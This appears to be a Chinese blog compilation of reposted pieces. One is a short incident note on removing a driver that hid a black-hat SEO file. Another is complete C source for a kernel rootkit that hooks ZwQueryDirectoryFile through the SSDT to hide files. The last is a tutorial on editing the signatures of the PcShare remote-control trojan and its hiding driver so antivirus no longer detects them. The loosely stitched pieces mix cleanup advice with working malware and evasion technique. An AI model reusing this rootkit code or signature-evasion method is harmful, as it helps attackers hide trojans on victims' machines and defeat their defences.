驱动级隐藏文件,注册表,进程
驱动程序暂不提供源码!
提供接口方便调用.
别的不说了,看代码。
1、服务器使用文件查找hark.asp 未查找到文件。
2、检测了第三方js未发现hark.asp。
3、检查了CSS等,未发现跳转代码。
4、使用阿D及安全狗,未发现shell,安全狗发现挂马,但是是误报的。
驱动级的文件隐藏来实现黑帽SEO的,有如下特征:
系统目录存在如下文件:
c:\WINDOWS\xlkfs.dat
c:\WINDOWS\xlkfs.dll
c:\WINDOWS\xlkfs.ini
c:\WINDOWS\system32\drivers\xlkfs.sys此驱动级隐藏文件会在服务项增加一个xlkfs的服务
驱动文件路径为:c:\WINDOWS\system32\drivers\xlkfs.sys
配置文件路径为:c:\WINDOWS\xlkfs.ini
1、查询服务状态:
sc qc xlkfs
2、停止服务:
net stop xlkfs
服务停止以后,经驱动级隐藏的文件即可显现,终于找到了hark.asp
3、删除服务:
sc delete xlkfs
4、删除系统目录下面的文件。
5、重启系统,确认服务已经被清理了。
转载自https://www.waitalone.cn/hack-seo-drive.html
转载地址:http://www.cnblogs.com/qiuyi21/articles/1151923.html
pudn上的这个源代码可以使用:http://www.pudn.com/downloads79/sourcecode/windows/vxd/detail305108.html
驱动已经使用WDK编译好了,直接安装就可以,安装好后,用VS2010,或者VS2008编译Test项目,就可以隐藏文件了,不需要改动,代码也很规范,可以好好学习。
网上流传的一篇文章《编写驱动拦截NT的API实现隐藏文件目录》,当时我在网上搜索内核级Hook资料时搜索到的,因为自己对驱动程序还是初初接触,所有想按照这篇文章自己弄个简单的驱动出来,测试测试~~~但由于网上流传的这篇文章都丢失了原作者和原出处,有些代码似乎是错的,但自己又不熟悉,难免弄错。参考了其它使用驱动程序Hook的例子(都是Windows 2000 DDK的),最终编译了一个驱动出来,马上安装进自己的系统里(Windows XP Professional SP2),执行[net start "驱动名"],噢,系统立即蓝屏挂掉了!!经过一段时间的驱动程序编写研究,终于写成功拦截NT的API实现隐藏文件目录了,也知道了一点就是Windows XP之后的操作系统的SSDT都已经写保护,Hook SSDT时不可以直接改写SSDT。我的代码如下,由于水平有限,难免会有错误,请多多指教。
C 语言代码,用WDK编译
#include <ntddk.h> #define FILE_DEVICE_NTHIDEFILES 0x8000 #define NTHIDEFILES_IOCTL_BASE 0x800 #define CTL_CODE_NTHIDEFILES(i) CTL_CODE(FILE_DEVICE_NTHIDEFILES, NTHIDEFILES_IOCTL_BASE+i, METHOD_BUFFERED, FILE_ANY_ACCESS) #define IOCTL_NTHIDEFILES_HELLO CTL_CODE_NTHIDEFILES(0) #define NTHIDEFILES_DEVICE_NAME L"\\Device\\NtHideFiles" #define NTHIDEFILES_DOS_DEVICE_NAME L"\\DosDevices\\NtHideFiles" #define dprintf if (DBG) DbgPrint #define nprintf DbgPrint typedef struct _DEVICE_EXTENSION { ULONG StateVariable; } DEVICE_EXTENSION, *PDEVICE_EXTENSION; typedef struct _FILE_BOTH_DIR_INFORMATION { ULONG NextEntryOffset; ULONG FileIndex; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; ULONG EaSize; CCHAR ShortNameLength; WCHAR ShortName[12]; WCHAR FileName[1]; } FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION; #pragma pack(1) typedef struct _SERVICE_DESCRIPTOR_ENTRY { unsigned int * ServiceTableBase; unsigned int * ServiceCounterTableBase; unsigned int NumberOfServices; unsigned char * ParamTableBase; } SERVICE_DESCRIPTOR_ENTRY, *PSERVICE_DESCRIPTOR_ENTRY; #pragma pack() // ZwQueryDirectoryFile 的原型 typedef NTSTATUS (NTAPI *PFN_ZwQueryDirectoryFile)( IN HANDLE hFile, IN HANDLE hEvent OPTIONAL, IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL, IN PVOID IoApcContext OPTIONAL, OUT PIO_STATUS_BLOCK pIoStatusBlock, OUT PVOID FileInformationBuffer, IN ULONG FileInformationBufferLength, IN FILE_INFORMATION_CLASS FileInfoClass, IN BOOLEAN bReturnOnlyOneEntry, IN PUNICODE_STRING PathMask OPTIONAL, IN BOOLEAN bRestartQuery); NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile( IN HANDLE hFile, IN HANDLE hEvent OPTIONAL, IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL, IN PVOID IoApcContext OPTIONAL, OUT PIO_STATUS_BLOCK pIoStatusBlock, OUT PVOID FileInformationBuffer, IN ULONG FileInformationBufferLength, IN FILE_INFORMATION_CLASS FileInfoClass, IN BOOLEAN bReturnOnlyOneEntry, IN PUNICODE_STRING PathMask OPTIONAL, IN BOOLEAN bRestartQuery); NTSTATUS HookZwQueryDirectoryFile( IN HANDLE hFile, IN HANDLE hEvent OPTIONAL, IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL, IN PVOID IoApcContext OPTIONAL, OUT PIO_STATUS_BLOCK pIoStatusBlock, OUT PVOID FileInformationBuffer, IN ULONG FileInformationBufferLength, IN FILE_INFORMATION_CLASS FileInfoClass, IN BOOLEAN bReturnOnlyOneEntry, IN PUNICODE_STRING PathMask OPTIONAL, IN BOOLEAN bRestartQuery); __declspec(dllimport) SERVICE_DESCRIPTOR_ENTRY KeServiceDescriptorTable; // 保存原 ZwQueryDirectoryFile 函数指针 PFN_ZwQueryDirectoryFile OriginalZwQueryDirectoryFile = NULL; PMDL g_pmdlSystemCall = NULL; PVOID *MappedSystemCallTable = NULL; BOOLEAN g_bHooked = FALSE; #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function + 1) #define SYSTEMSERVICE(_Function) KeServiceDescriptorTable.ServiceTableBase[SYSCALL_INDEX(_Function)] #define HOOK_SYSCALL(_Function, _Hook, _Orig) _Orig = (PVOID)InterlockedExchange((PLONG)&MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG)_Hook) #define UNHOOK_SYSCALL(_Function, _Orig) InterlockedExchange((PLONG)&MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG)_Orig) NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath); NTSTATUS DispatchCreate(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp); NTSTATUS DispatchClose(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp); NTSTATUS DispatchDeviceControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp); VOID DriverUnload(IN PDRIVER_OBJECT DriverObject); PCWSTR GetProcessFullName(); #ifdef ALLOC_PRAGMA #pragma alloc_text(INIT, DriverEntry) #pragma alloc_text(PAGE, DispatchCreate) #pragma alloc_text(PAGE, DispatchClose) #pragma alloc_text(PAGE, DispatchDeviceControl) #pragma alloc_text(PAGE, DriverUnload) #endif // ALLOC_PRAGMA #define BASE_PROCESS_PEB_OFFSET 0x1B0 #define BASE_PEB_PROCESS_PARAMETER_OFFSET 0x010 #define BASE_PROCESS_PARAMETER_FULL_IMAGE_NAME 0x03C #define W2003_BASE_PROCESS_PEB_OFFSET 0x190 #define W2003_BASE_PROCESS_PEB_OFFSET_SP1 0x1A0 #define W2003_BASE_PROCESS_PEB_OFFSET_SP2 W2003_BASE_PROCESS_PEB_OFFSET_SP1 #define VISTA_BASE_PROCESS_PEB_OFFSET 0x188 PCWSTR GetProcessFullName() { NTSTATUS status = -1; ULONG dwAddress = 0; PCWSTR lpszTemp = NULL; RTL_OSVERSIONINFOEXW osVerInfo; dwAddress = (ULONG)PsGetCurrentProcess(); if (dwAddress == 0 || dwAddress == (ULONG)-1) return NULL; RtlZeroMemory(&osVerInfo, sizeof(RTL_OSVERSIONINFOEXW)); osVerInfo.dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOEXW); status = RtlGetVersion((PRTL_OSVERSIONINFOW)&osVerInfo); if (!NT_SUCCESS(status)) return NULL; // 目前只支持 Windows 2000/XP/2003/Vista if (osVerInfo.dwMajorVersion < 5 || osVerInfo.dwMinorVersion > 2) return NULL; // 取得PEB,不同平台的位置是不同的 if (osVerInfo.dwMajorVersion == 5) { if (osVerInfo.dwMinorVersion < 2) // 2000 0X0500 XP 0X0501 { dwAddress += BASE_PROCESS_PEB_OFFSET; } else if (osVerInfo.dwMinorVersion == 2) // 2003 0X0502 { if (osVerInfo.wServicePackMajor == 0) // No Service Pack dwAddress += W2003_BASE_PROCESS_PEB_OFFSET; else if (osVerInfo.wServicePackMajor < 3) // Service Pack 1 & 2 dwAddress += W2003_BASE_PROCESS_PEB_OFFSET_SP1; } } else // Vista 0X0600 { dwAddress += VISTA_BASE_PROCESS_PEB_OFFSET; } if ((dwAddress = *(PULONG)dwAddress) == 0) return NULL; // 通过PEB取得RTL_USER_PROCESS_PARAMETERS dwAddress += BASE_PEB_PROCESS_PARAMETER_OFFSET; if ((dwAddress = *(PULONG)dwAddress) == 0) return NULL; // 在RTL_USER_PROCESS_PARAMETERS->ImagePathName保存了路径,偏移为0x038 dwAddress += BASE_PROCESS_PARAMETER_FULL_IMAGE_NAME; if ((dwAddress = *(PULONG)dwAddress) == 0) return NULL; // [10/14/2006] lpszTemp = (PCWSTR)dwAddress; if (wcslen(lpszTemp) > 4) { if (lpszTemp[0] == L'\\' && (lpszTemp[1] == L'?' || lpszTemp[1] == L'\\') && lpszTemp[2] == L'?' && lpszTemp[3] == L'\\') { dwAddress += 4 * sizeof(WCHAR); } } return (PCWSTR)dwAddress; } NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) { NTSTATUS status = STATUS_SUCCESS; UNICODE_STRING ntDeviceName; UNICODE_STRING dosDeviceName; PDEVICE_OBJECT deviceObject = NULL; BOOLEAN fSymbolicLink = FALSE; dprintf("[NtHideFiles] DriverEntry: %wZ\n", RegistryPath); RtlInitUnicodeString(&ntDeviceName, NTHIDEFILES_DEVICE_NAME); status = IoCreateDevice( DriverObject, sizeof(DEVICE_EXTENSION), // DeviceExtensionSize &ntDeviceName, // DeviceName FILE_DEVICE_NTHIDEFILES, // DeviceType 0, // DeviceCharacteristics TRUE, // Exclusive &deviceObject // [OUT] ); if (!NT_SUCCESS(status)) goto __failed; RtlInitUnicodeString(&dosDeviceName, NTHIDEFILES_DOS_DEVICE_NAME); status = IoCreateSymbolicLink(&dosDeviceName, &ntDeviceName); if (!NT_SUCCESS(status)) goto __failed; fSymbolicLink = TRUE; DriverObject->MajorFunction[IRP_MJ_CREATE] = DispatchCreate; DriverObject->MajorFunction[IRP_MJ_CLOSE] = DispatchClose; DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchDeviceControl; DriverObject->DriverUnload = DriverUnload; // Map the memory into our domain to change the permissions on the MDL g_pmdlSystemCall = IoAllocateMdl(KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices * 4, FALSE, FALSE, NULL); if (g_pmdlSystemCall == NULL) { status = STATUS_UNSUCCESSFUL; goto __failed; } MmBuildMdlForNonPagedPool(g_pmdlSystemCall); // Change the flags of the MDL g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA; MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode); // HOOK ZwQueryDirectoryFile 并保存原 ZwQueryDirectoryFile 函数地址 HOOK_SYSCALL(ZwQueryDirectoryFile, HookZwQueryDirectoryFile, OriginalZwQueryDirectoryFile); g_bHooked = TRUE; if (NT_SUCCESS(status)) return status; __failed: if (fSymbolicLink) IoDeleteSymbolicLink(&dosDeviceName); if (deviceObject) IoDeleteDevice(deviceObject); return status; } NTSTATUS DispatchCreate(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) { NTSTATUS status = STATUS_SUCCESS; Irp->IoStatus.Information = 0; Irp->IoStatus.Status = status; IoCompleteRequest(Irp, IO_NO_INCREMENT); return status; } NTSTATUS DispatchClose(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) { NTSTATUS status = STATUS_SUCCESS; Irp->IoStatus.Information = 0; Irp->IoStatus.Status = status; IoCompleteRequest(Irp, IO_NO_INCREMENT); return status; } NTSTATUS DispatchDeviceControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) { NTSTATUS status = STATUS_SUCCESS; PIO_STACK_LOCATION irpStack; PVOID ioBuf; ULONG inBufLength, outBufLength; ULONG ioControlCode; irpStack = IoGetCurrentIrpStackLocation(Irp); Irp->IoStatus.Information = 0; // // Get the pointer to the input/output buffer and it's length // ioBuf = Irp->AssociatedIrp.SystemBuffer; inBufLength = irpStack->Parameters.DeviceIoControl.InputBufferLength; outBufLength = irpStack->Parameters.DeviceIoControl.OutputBufferLength; ioControlCode = irpStack->Parameters.DeviceIoControl.IoControlCode; switch (ioControlCode) { case IOCTL_NTHIDEFILES_HELLO: break; default: status = STATUS_INVALID_PARAMETER; break; } // // DON'T get cute and try to use the status field of // the irp in the return status. That IRP IS GONE as // soon as you call IoCompleteRequest. // Irp->IoStatus.Status = status; IoCompleteRequest(Irp, IO_NO_INCREMENT); // // We never have pending operation so always return the status code. // return status; } VOID DriverUnload(IN PDRIVER_OBJECT DriverObject) { UNICODE_STRING dosDeviceName; // UnHook ZwQueryDirectoryFile if (g_bHooked && OriginalZwQueryDirectoryFile != NULL) UNHOOK_SYSCALL(ZwQueryDirectoryFile, OriginalZwQueryDirectoryFile); if (g_pmdlSystemCall != NULL) { MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall); IoFreeMdl(g_pmdlSystemCall); } // // Delete the symbolic link // RtlInitUnicodeString(&dosDeviceName, NTHIDEFILES_DOS_DEVICE_NAME); IoDeleteSymbolicLink(&dosDeviceName); // // Delete the device object // IoDeleteDevice(DriverObject->DeviceObject); dprintf("[NtHideFiles] unloaded\n"); } NTSTATUS HookZwQueryDirectoryFile( IN HANDLE hFile, IN HANDLE hEvent OPTIONAL, IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL, IN PVOID IoApcContext OPTIONAL, OUT PIO_STATUS_BLOCK pIoStatusBlock, OUT PVOID FileInformationBuffer, IN ULONG FileInformationBufferLength, IN FILE_INFORMATION_CLASS FileInfoClass, IN BOOLEAN bReturnOnlyOneEntry, IN PUNICODE_STRING PathMask OPTIONAL, IN BOOLEAN bRestartQuery) { NTSTATUS rc = STATUS_SUCCESS; ANSI_STRING ansiFileName, ansiDirName, HideDirFile; UNICODE_STRING uniFileName; PCWSTR pProcPath = NULL; // 初始化要过虑的文件名,大写形式 RtlInitAnsiString(&HideDirFile, "WAR3.EXE"); pProcPath = GetProcessFullName(); DbgPrint("[NtHideFiles] GetProcessFullName: %ws\n", pProcPath == NULL ? L"<null>" : pProcPath); // 执行真正的 ZwQueryDirectoryFile 函数 rc = OriginalZwQueryDirectoryFile( hFile, hEvent, IoApcRoutine, IoApcContext, pIoStatusBlock, FileInformationBuffer, FileInformationBufferLength, FileInfoClass, bReturnOnlyOneEntry, PathMask, bRestartQuery); // 如果执行成功,而且 FILE_INFORMATION_CLASS 的值为 FileBothDirectoryInformation,我们就进行处理,过滤 if (NT_SUCCESS(rc) && FileInfoClass == FileBothDirectoryInformation) { // 把执行结果赋给 pFileInfo PFILE_BOTH_DIR_INFORMATION pFileInfo = (PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer; PFILE_BOTH_DIR_INFORMATION pLastFileInfo = NULL; BOOLEAN bLastOne = FALSE; // 循环检查 do { bLastOne = !pFileInfo->NextEntryOffset; RtlInitUnicodeString(&uniFileName, pFileInfo->FileName); RtlUnicodeStringToAnsiString(&ansiFileName, &uniFileName, TRUE); RtlUnicodeStringToAnsiString(&ansiDirName, &uniFileName, TRUE); RtlUpperString(&ansiFileName, &ansiDirName); // 打印结果,用 debugview 可以查看打印结果 //dprintf("ansiFileName :%s\n", ansiFileName.Buffer); //dprintf("HideDirFile :%s\n", HideDirFile.Buffer); // 开始进行比较,如果找到了就隐藏这个文件或者目录 if (RtlCompareMemory(ansiFileName.Buffer, HideDirFile.Buffer, HideDirFile.Length) == HideDirFile.Length) { dprintf("This is HideDirFile!\n"); if (bLastOne) { if (pFileInfo == (PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer) rc = STATUS_NO_MORE_FILES; // 隐藏文件或者目录; else pLastFileInfo->NextEntryOffset = 0; break; } else // 指针往后移动 { int iPos = (ULONG)pFileInfo - (ULONG)FileInformationBuffer; int iLeft = (ULONG)FileInformationBufferLength - iPos - pFileInfo->NextEntryOffset; RtlCopyMemory((PVOID)pFileInfo, (PVOID)((PCHAR)pFileInfo + pFileInfo->NextEntryOffset), (ULONG)iLeft); continue; } } pLastFileInfo = pFileInfo; pFileInfo = (PFILE_BOTH_DIR_INFORMATION)((PCHAR)pFileInfo + pFileInfo->NextEntryOffset); } while (!bLastOne); RtlFreeAnsiString(&ansiDirName); RtlFreeAnsiString(&ansiFileName); } return rc; }
PcShare可算国内最优秀的远程控制软件之一,其特有的驱动级隐藏技术让PS的隐蔽性有了质的提升。可再好的隐藏也必须先过安装这一关,由于杀软的特征码库中早已有PS的代码,所以在开监测的情况下,当服务端释放*.D1L和*.SYS两个文件时杀软会报警,因此没法儿安装。这时应该做什么?当然是免杀。加壳是没用的,要改特征码。改文件和内存特征码在前几期的黑防都已介绍过,照旧修改就可以。关键PS中有个驱动程序PcHide.SYS,它的特征码又应该怎么修改呢?这里就和大家交流一下含驱动的程序特征码修改,使用的杀软是最新的KV2006,PS使用的是黑基下载的黑盟玫瑰破解完全版。(用盗版只是测试,大家多支持正版。)其它工具包括特征码修改器CCLv2.7.1、IDA pro 4.7、OllyDbg、PeInfo、IceSword及UltraEdit。1.驱动程序PcHide.SYS的修改
上来就是重头戏,先来修改驱动的文件特征码吧。第一步是用CCL确定其特征码位置,CCL的使用过程就不再赘述了,直接用自动定位功能,检测大小为10,检测范围为text既代码段。直接看定位结果如下:
0001 000003DC 0000001F 000003FB
0002 000003FC 0000003E 0000043A
0003 00001C78 0000001F 00001C97
0004 00001C98 0000003E 00001CD6
0005 00001CD7 0000003E 00001D15
看看结果,聪明的你应该发现虽然有5处数据,但前2段和后3段分别相连,也就是说PcHide.SYS总共只有两处特征码,分别在000003DC到0000043A和00001C78到00001D15。像这样两处相连而又相隔较远的情况,一般说来两处必须都要修改。(在结果较多且较分散时,判断起来会麻烦一点,所以我给CCL加了个功能,可以很快确定至少要修改几处,修改哪几处。将在下文介绍。)
下面是IDA反汇编,看代码。先来看3DC处。看来不是汇编指令。没关系,在IDA中切换到Hex View窗口观察,原来是字符串“D:PcShare瘝鐗堟湰PcHideobjfrei386PcHide.pdb”。中间的乱码没关系,因为我们看到了PcShare和PcHide。改字符串最简单的方法是改大小写,原则是不能干扰原文件执行。这里的字符串给出了一个pdb文件(符号文件?)的路径,虽然我不知道它的具体作用,但大小写改变应该没问题。于是,在UltraEdit中将该处的大写字母全改为小写,完后保存。
光修改这处不行,KV检测一下还会报警,也证实了前面的判断——两处都要修改――是正确的。再来看第二处1C78的代码,修改该处代码既是重点又是难点。
…
.text:00011C78 xor ecx, ecx
.text:00011C7A cmp byte_12280, cl
.text:00011C80 jz locret_11D68
.text:00011C86 push esi
.text:00011C87 cli
.text:00011C88 mov eax, cr0
.text:00011C8B and eax, 0FFFEFFFFh
.text:00011C90 mov cr0, eax
.text:00011C93 mov edx, dword_130EC
.text:00011C99 mov edx, [edx]
.text:00011C9B mov esi, dword_130E0
.text:00011CA1 mov eax, ds:ZwQuerySystemInformation
…
修改的难点有二,一是该段中包含跳转指令jz,二是指令的顺序没法交换。驱动程序是在内核执行的文件,所以修改时一定要注意,能不添加代码就不要添加,尽量不改变原代码的整体大小。因此,这里用了个特殊的方法。注意这一句and eax,0FFFEFFFFh。要知道eax是CPU最常用的寄存器,因此操作eax的指令通常既短小速度也快,我们看一下这句指令的十六进制编码:25 FF FF FE FF。很明显,25是指令,FFFFFEFF是参数。而and ebx,FFFFFEFF的编码是什么呢?最方便的查看指令编码的工具就是OD了,用OD任意打开一个可执行文件(OD不能直接打开驱动文件),做一下试验,得到编码为:81E3 FFFFFEFF。呵呵,多了一个字节。(看一下Intel指令参考就知道,81代表and指令,E3代表ebx及操作方式,确实eax的指令被优化了。)我们的思路,将这里的寄存器改为ebx。但多出的一字节怎么办呢,不能将所有的代码都向下平移吧!呵呵,我们要在下面的代码中将这个字节找回来。看mov edx, dword_130EC,它的编码为:8B 15 EC 30 01 00,足足6字节。把这里的edx换为eax会怎么样,同样在OD中键入mov eax,dword ptr ds:[130EC],看到了吧,它的编码为:A1 EC300100,只有5个字节,这样代码的大小就平衡了。
还有一个问题要注意,为什么可以将edx改为eax,如果eax存有其它的值怎么办,那不就改变原程序的执行结果啦。不会的,因为向下三行有这样的代码:mov eax, ds:ZwQuerySystemInformation,说明eax的值在这里被更新,因此可以判断出修改eax的值不会影响程序执行。方法已经有了,下面修改。先在OD中将如下代码键入(加黑体的是我们修改的地方。
10003817 0F20C3 mov ebx,cr0
1000381A 81E3 FFFFFEFF and ebx,FFFEFFFF
10003820 0F22C3 mov cr0,ebx
10003823 A1 EC300100 mov eax,dword ptr ds:[130EC]
10003828 8B10 mov edx,dword ptr ds:[eax]
5句代码共19个字节,与未修改时的一样。由于OD不能直接打开SYS,所以我们用UltraEdit打开PcHide.SYS,直接修改十六进制数据。修改完后保存,再用KV检测。怎么样,文件免杀成功。
下面是非常关键的一步,修改文件的校验和(CheckSum)。这一步也许是众多网友修改后的驱动无法加载的原因。用PeInfo打开sys文件,点击CheckSum,程序自动计算出结果,再点修改就可以了。那么驱动的文件特征码改完了,内存的需不需要改呢?我们来试一下:用驱动加载程序将PcHide.sys加载到内存中,用KV进行内存检测。加载工具用InstDvr([url]www.rootkit.com/vault/hoglund/InstDvr.zip[/url]),运行时输入sys文件全路径,先是Install安装,然后Start开始执行。若显示Operation was successful,表示操作成功。用KV检测,呵呵,检测不到,这样就避免了我们修改内存特征码的麻烦。(没试之前我还真犯愁,CCL暂不具备定位驱动文件内存特征码的功能,这下可以偷懒了,不用再写代码!)
PcClient.dll、PcKey.dll与PcInit.exe的文件特征码修改。PS共包括四个关键文件,除了那个SYS处就是这三个。既然不是驱动程序,修改起来真是得心应手。过程就不多说了,只详细说一下改PcClient.dll的,其它直接给出结果,中间的注意事项会提出来。PcClient第一次定位设置:手动,生成100个文件,范围为整个文件。定位结果为:
0001 00000000 0000028E 0000028E
0002 00002B6E 00000147 00002CB5
0003 000036ED 00000147 00003834
0004 00007D2E 000002D2 00008000
注意,手动检测如果能剩余多个文件不被杀(文件头被覆盖的除外,比如0001项),说明该文件既使有多处特征码,也只需修改一处既可免杀。看结果,范围较大,我们将定位精度调高,再检测一次。将CCL设置为:手动,替换精度16字节,范围为00002B6E开始处0x147个字节(既选取了0002项),再次定位结果就一项:
0001 00002C3E 00000070 00002CAE
为什么我们将精度设为16,结果的范围却这么大,为70。这说明该特征码本身范围较大,任意改动一小处既可搞定。OK,都不用IDA出手,直接用OD打开PcClient.dll,来到10002C3E处,有如下代码:
…
.text:10002C41 mov edi, [esp+lpServiceName]
.text:10002C45 mov esi, eax
…
.text:10002C81 mov edi, [esp+lpDisplayName]
.text:10002C85 mov esi, eax
…
好爽,最简单的方法,交换顺序既可。保存后再用KV检测,免杀again!下面是其余两个文件的修改,这时我没用手动,而用了自动定位,检测范围就是text段,给出结果先。PcKey.dll这样修改:
.text:10001191 mov esi, eax
.text:10001193 test esi, esi
.text:10001195 jz short loc_100011F7
.text:10001197 mov ecx, 0FFh
.text:1000119C xor eax, eax
.text:1000119E lea edi, [esp+608h+var_400+1]
将test esi,esi换为or esi,esi既可。(晕死,改了一个字节就搞定,服了KV!)PcInit.exe共修改两处,一处是
.text:004016AE stosd
.text:004016AF stosb
第二处是
.text:004017CE test eax, eax
怎么改不用我说了吧。交换顺序,test变or。再检测,成功。到这里,三个文件的文件特征码全部修改成功。这里说一下上文提到的CCL定位结果排列组合功能,比如在定位PcKey.dll时,自动定位结果为:
0001 00001180 00000070 000011F0
0002 00001790 00000020 000017B0
0003 000017C0 00000010 000017D0
0004 000017E0 00000010 000017F0
精度已经够小了,可四处结果先改哪一处好呢。这时就可以用CCL的该功能:打开PcKey.dll,导入刚才的定位结果,然后点生成。如图4所示。在output文件夹里生成了一些文件名为R_X_XXXXXX的文件。用KV对output文件夹扫描,完后删除报警的文件(这里一个也没有删除),再点击检测钮,CCL会给出如下结果:分页:[1] 2 转载于:https://blog.51cto.com/307567/72687